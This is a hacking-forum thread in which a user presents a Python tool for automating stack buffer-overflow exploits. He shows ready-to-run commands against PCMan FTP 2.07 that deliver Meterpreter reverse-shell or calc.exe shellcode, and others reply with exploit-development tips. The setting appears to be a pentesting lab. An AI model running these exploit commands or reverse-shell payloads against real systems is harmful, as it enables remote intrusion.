EvilZone
Programming and Scripting => Scripting Languages => : d4rkcat February 09, 2014, 03:57:46 AM
-
Hey party people,
I was looking at some stack based EIP overwrite buffer-overflows and realised that I should make a script that can do all of them so I don't have to write one ever again.
https://github.com/d4rkcat/stackflow (https://github.com/d4rkcat/stackflow)
[gist]d4rkcat/8893810[/gist]
You can put all of the details in at the command line and there are 3 types of buffer that can be sent to a program:
1. Fuzzing - cyclic pattern
2. Calc - send calc.exe shellcode
3. MSF - send any MSF payload
usage: ./stackflow.py OPTIONS
optional arguments:
-h, --help show this help message and exit
-r RHOST, --rhost RHOST
rhost
-p RPORT, --rport RPORT
rport
-c CMDS, --cmds CMDS commands to send to server before overflow
-v VULNCMD, --vulncmd VULNCMD
vulnerable command
-o OFFSET, --offset OFFSET
offset to EIP
-a RETURNADD, --returnadd RETURNADD
return addess
-n NOPS, --nops NOPS number of NOPS \x90 to prepend
-m PAYLOAD, --payload PAYLOAD
MSF payload
-i LHOST, --lhost LHOST
lhost
-l LPORT, --lport LPORT
lport
-f FUZZ, --fuzz FUZZ Fuzz command with cyclic pattern
-e CFEXPORT, --cfexport CFEXPORT
Export exploit config to file
-g CFIMPORT, --cfimport CFIMPORT
Import exploit config from file
-t, --calc Send a calc.exe shellcode
-d, --display Display the exploit buffer
Some examples for PCMan FTP 2.07 running on WindowsXP SP3(ENG):
Vulnerable app: http://www.exploit-db.com/wp-content/themes/exploit/applications/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z (http://www.exploit-db.com/wp-content/themes/exploit/applications/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z)
exploit without any commands and send meterpreter/reverse_tcp shellcode dialing back to 192.168.0.2 on port 4444
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2011 -m windows/meterpreter/reverse_tcp -a 7E429353
exploit the USER command and send meterpreter/reverse_tcp shellcode dialing back to 192.168.0.2 on port 4444
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2007 -m windows/meterpreter/reverse_tcp -v 'USER' -a 7E429353
exploit the PASS command and send calc.exe shellcode
./stackflow.py -r 192.168.0.9 -p 21 -o 6102 -v 'PASS' -c 'USER anonymous' -a 7E429353 -t
exploit the ABOR command and send calc.exe shellcode
./stackflow.py -r 192.168.0.9 -p 21 -o 2006 -v 'ABOR' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -t
exploit the CWD command and send calc.exe shellcode and display the exploit buffer
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'CWD' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -t -d
fuzz the STOR command with a cyclic buffer of size 3000
./stackflow.py -r 192.168.0.9 -p 21 -v 'STOR' -c 'USER anonymous&PASS a@a.com' -f 3000
once your done tweaking your exploit, you can export it to a config file for easy reuse
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'CWD' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -t -e cwdsploit
and use the config file to exploit
./stackflow.py -g cwdsploit
-
That's actually a really cool idea! I've never thought of developing something like this before. A script like this would in fact save a lot of time with exploit development.
A couple of advantages to using this:
1) The need for a separate fuzzer has been rendered obsolete entirely
2) No need to modify the code as the arguments are almost all-inclusive
3) Payloads are automatically created/encoded/remove bad characters from within the script and sent with the buffer
The only disadvantage that comes to my mind is that you won't be able to save successful exploits as stand-alone files: you will have to keep a log of successful commands that result in exploitation. Even then, that's not so bad, because you won't have a fuckton of scripts clotting up directories.
The only thing I would warn about people using this is the nops argument, because sometimes processors can get a little weird with nop padding/placement. Other than that, I'm impressed d4rkcat, this is really good! +1 to you my good Sir!
-
I can't say much about the exploitation itself since I don't know much about that. What I can say something about though, is the code. I would try to implement a class or two, functions and reduce the use of if/else statements. It won't affect the code, but it doesn't hurt to use good programming practices. It will also make your code easier for new people to read and understand :) +1 so far, if I see some improvement in the code, more cookies are heading your way.
-
The only disadvantage that comes to my mind is that you won't be able to save successful exploits as stand-alone files: you will have to keep a log of successful commands that result in exploitation. Even then, that's not so bad, because you won't have a fuckton of scripts clotting up directories.
Hey m0rph, I was told to come see you about my OCD and ADD, but I just kept on leaving and rejoining the chatroom making sure I put my hands on the door in the same way every time...
But seriously, thanks for the compliments, It is good motivation for me to continue trying to make these scripts, and if it's useful in any way, all the better.
I can actually solve the problem that you mentioned above very quickly, I will make the script create config files that will hold all of the information necessary for that particular exploit.
The only thing I would warn about people using this is the nops argument, because sometimes processors can get a little weird with nop padding/placement. Other than that, I'm impressed d4rkcat, this is really good! +1 to you my good Sir!
I'm not quite sure how to fix this, but the script defaults to place 16 nops right after the return address. I think that to work it should be divisible by 4? Many thanks for your feedback bro have a great night!
I can't say much about the exploitation itself since I don't know much about that. What I can say something about though, is the code. I would try to implement a class or two, functions and reduce the use of if/else statements. It won't affect the code, but it doesn't hurt to use good programming practices. It will also make your code easier for new people to read and understand :) +1 so far, if I see some improvement in the code, more cookies are heading your way.
To be honest I have never studied programming I just look at people's scripts and use startpage. However this does not mean I don't want to get better. I thought the purpose of functions is that they can be reused to perform the same action but with different variables thereby reducing code repetition. I currently cannot see anywhere tat a function would be useful in this code, but then again i'm probably wrong. Like i said, I am not a developer or anything, i'm a pentester, I just want things to work, and this script has worked perfectly so far I will try my best some time to optimize this, but tbh it's not high on my todo list. Of course any pointers or code you can throw my way would be much appreciated!
Cheers
-
You're coming with some fair arguments, but I believe that it won't hurt to get at least decent in good programming practices ;) I'm currently stuck up with my finals coming up shortly, but I'll try to throw in some time and re-code your tool with what i've pointed out changed :)
But again... Don't expect it to come tomorrow ;)
-
First off, this is really cool. I'm saving it. If I had one suggestion that hit me while reading it was to add an option for bad characters...
I think in msfvenom is -b. Sometimes the shellcode will break when some characters are used. I will sometimes add x\00 and x\ff
As far as the fuzzing goes, how is the speed compared to something like spike? I've never used python for something like that before, but I know in the past I've read about how it can be a bit slow.
Really good work!
-
First off, this is really cool. I'm saving it. If I had one suggestion that hit me while reading it was to add an option for bad characters...
I think in msfvenom is -b. Sometimes the shellcode will break when some characters are used. I will sometimes add x\00 and x\ff
As far as the fuzzing goes, how is the speed compared to something like spike? I've never used python for something like that before, but I know in the past I've read about how it can be a bit slow.
Really good work!
Thanks pivot3r, I hope you enjoy using it.
I have in fact already removed the bad characters from all payloads created by msfvenom, take a look at line 75 to see it.
In terms of the fuzzing, It takes no time at all, just as long as it takes for pattern_create.rb to create the pattern of whatever size you specified. It is more like a fuzzing sniper, you tell it at which point (sequence of commands) to send the buffer, and it sends it. It's very quick.
I have now also added the config file feature that m0rph suggested.
-
Thanks pivot3r, I hope you enjoy using it.
I have in fact already removed the bad characters from all payloads created by msfvenom, take a look at line 75 to see it.
Ahh yep, there it is. Somehow I missed that last night. :p
In terms of the fuzzing, It takes no time at all, just as long as it takes for pattern_create.rb to create the pattern of whatever size you specified. It is more like a fuzzing sniper, you tell it at which point (sequence of commands) to send the buffer, and it sends it. It's very quick.
Okay, so you'd have already found the initial crash, and this would be to find the offset?
-
Really cool work can't wait to test everything out. So excited!!
-
Okay, so you'd have already found the initial crash, and this would be to find the offset?
Uhh I guess its in the usual way, so you can use a debugger and check whats in the EIP and enter it into pattern_offset.rb.
Or my new favorite way, (it takes about 5 seconds), is using immunity debugger with the mona.py plugin. It's amazing. You send the crash then type
!mona suggest
into the command box, and it will work out the EIP for you.